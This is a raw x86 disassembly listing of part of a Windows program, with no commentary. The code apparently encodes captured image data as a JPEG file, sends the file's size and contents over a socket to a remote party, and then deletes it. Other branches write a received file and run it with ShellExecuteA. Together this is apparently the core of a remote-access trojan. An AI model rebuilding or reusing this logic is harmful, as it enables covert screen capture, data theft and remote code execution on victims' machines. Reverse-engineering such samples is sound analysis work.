lea edx, [ebx + ebx*2]
mov dword [ebp - 0x44148], eax
mov dword [ebp - 0x44154], edx
mov edx, dword [0x40a524]
add edx, 2
mov dword [ebp - 0x4411c], 8
add eax, edx
nop dword [eax]
movzx edx, byte [eax]
lea eax, [eax + 3]
movzx edi, byte [eax - 4]
movzx ebx, byte [eax - 5]
movzx esi, cl
mov ecx, dword [edx*4 + 0x4075a0]
add ecx, dword [edi*4 + 0x4079a0]
add ecx, dword [ebx*4 + 0x407da0]
sar ecx, 0x10
add cl, 0x80
mov byte [esi + 0x409ba0], cl
mov ecx, dword [edx*4 + 0x4081a0]
add ecx, dword [edi*4 + 0x4085a0]
add ecx, dword [ebx*4 + 0x4089a0]
sar ecx, 0x10
mov byte [esi + 0x409be0], cl
mov ecx, dword [edx*4 + 0x408da0]
add ecx, dword [edi*4 + 0x4091a0]
add ecx, dword [ebx*4 + 0x4095a0]
sar ecx, 0x10
mov byte [esi + 0x409c20], cl
mov cl, byte [ebp - 0x44115]
inc cl
sub dword [ebp - 0x4411c], 1
mov byte [ebp - 0x44115], cl
jne 0x404110
mov eax, dword [ebp - 0x44148]
movzx edx, word [0x40a522]
add eax, dword [ebp - 0x44154]
add dword [ebp - 0x44124], edx
sub dword [ebp - 0x44144], 1
mov dword [ebp - 0x44148], eax
jne 0x4040f7
push 0x406d90
push 0x406d2c
lea eax, [ebp - 0x4415c]
push eax
push 0x4099a0
push 0x409ba0
call fcn.004059d0
push 0x407190
push 0x406d5c
lea eax, [ebp - 0x44160]
push eax
push 0x409aa0
push 0x409be0
call fcn.004059d0
push 0x407190
push 0x406d5c
lea eax, [ebp - 0x44174]
push eax
push 0x409aa0
push 0x409c20
call fcn.004059d0
mov esi, dword [ebp - 0x4412c]
add esp, 0x3c
mov ax, word [0x40a522]
add esi, 8
mov edi, dword [ebp - 0x44150]
mov dword [ebp - 0x4412c], esi
cmp si, ax
jb 0x4040c0
mov cx, word [0x40a520]
mov edx, dword [ebp - 0x44128]
add edx, 8
mov dword [ebp - 0x44128], edx
cmp dx, cx
jb 0x4040a0
push 0x40192c
push 0x4018c8
call fcn.004059a0
push 0x401938
push 0x4018c8
call fcn.004059a0
mov cl, byte [0x401012]
add esp, 0x10
test cl, cl
js 0x4042c2
lea eax, [ecx + 1]
movsx ecx, cl
mov byte [ebp - 0x44140], al
inc ecx
mov eax, 1
shl ax, cl
dec ax
mov word [ebp - 0x4413e], ax
push dword [ebp - 0x44140]
call fcn.004064f0
add esp, 4
push dword [0x40a540]
push 0xff
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
push 0xd9
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a524]
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
push dword [0x406d8c]
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
push dword [0x407594]
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
push dword [0x40a540]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
add esp, 0x20
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x401950
push 0x4018c8
call fcn.004059a0
lea eax, [ebp - 0x1da4]
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 0x10
lea eax, [ebp - 0x64]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40449c
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x1000
mov ebx, eax
lea eax, [ebp - 0x1da4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push ebx
lea eax, [ebp - 0x18]
mov dword [ebp - 8], 0
xorps xmm0, xmm0
push 0x401788
push eax
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x18]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x439a5], al
test al, al
jne 0x4043b0
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4043d0
mov esi, dword [ebp - 0x44110]
lea eax, [ebp - 0x439a4]
push 0
sub ecx, edx
push ecx
push eax
push esi
call sub.WSOCK32.dll_send
push 0
push 0x1000
lea eax, [ebp - 0x1da4]
push eax
push esi
call sub.WSOCK32.dll_recv
lea eax, [ebp - 0x1da4]
push 0x4017a0
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x40449c
xor esi, esi
mov dword [ebp - 0x44114], 0
test ebx, ebx
je 0x404486
nop
push 0x800
lea eax, [ebp - 0x35a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
lea eax, [ebp - 0x44114]
push 0
push eax
push 0x800
lea eax, [ebp - 0x35a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push dword [ebp - 0x44114]
lea eax, [ebp - 0x35a4]
push eax
push dword [ebp - 0x44110]
call sub.WSOCK32.dll_send
add esi, dword [ebp - 0x44114]
cmp esi, ebx
jb 0x404430
push 0x1000
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x401958
call fcn.004059a0
mov ebx, dword [ebp - 0x44110]
add esp, 4
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401ea0
movups xmm0, xmmword [0x401964]
mov al, byte [0x401974]
lea ecx, [ebp - 0x439a4]
mov byte [ebp - 0x43994], al
lea edx, [ecx + 1]
movups xmmword [ebp - 0x439a4], xmm0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4044f0
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
jmp 0x401ea0
lea ecx, [ebp - 0x8a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404517
push 0
lea eax, [ebp - 0x44114]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x8a4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
lea ecx, [ebp - 0x439a4]
mov dword [ebp - 0x439a4], 0x455942
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404553
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
push 0
push 0
push 0
lea eax, [ebp - 0xda4]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x8a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404594
push 0
lea eax, [ebp - 0x44114]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x8a4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
lea ecx, [ebp - 0x439a4]
mov dword [ebp - 0x439a4], 0x455942
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4045d0
jmp 0x40455a
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x401490
call fcn.004059a0
mov eax, dword [0x4014a0]
lea ecx, [ebp - 0x439a4]
mov dword [ebp - 0x439a4], eax
lea edx, [ecx + 1]
mov ax, word [0x4014a4]
add esp, 0x10
mov word [ebp - 0x439a0], ax
mov al, byte [0x4014a6]
mov byte [ebp - 0x4399e], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404625
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406597
mov esp, ebp
pop ebp
ret 4
pop edi
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.00406597
mov esp, ebp
pop ebp
ret 4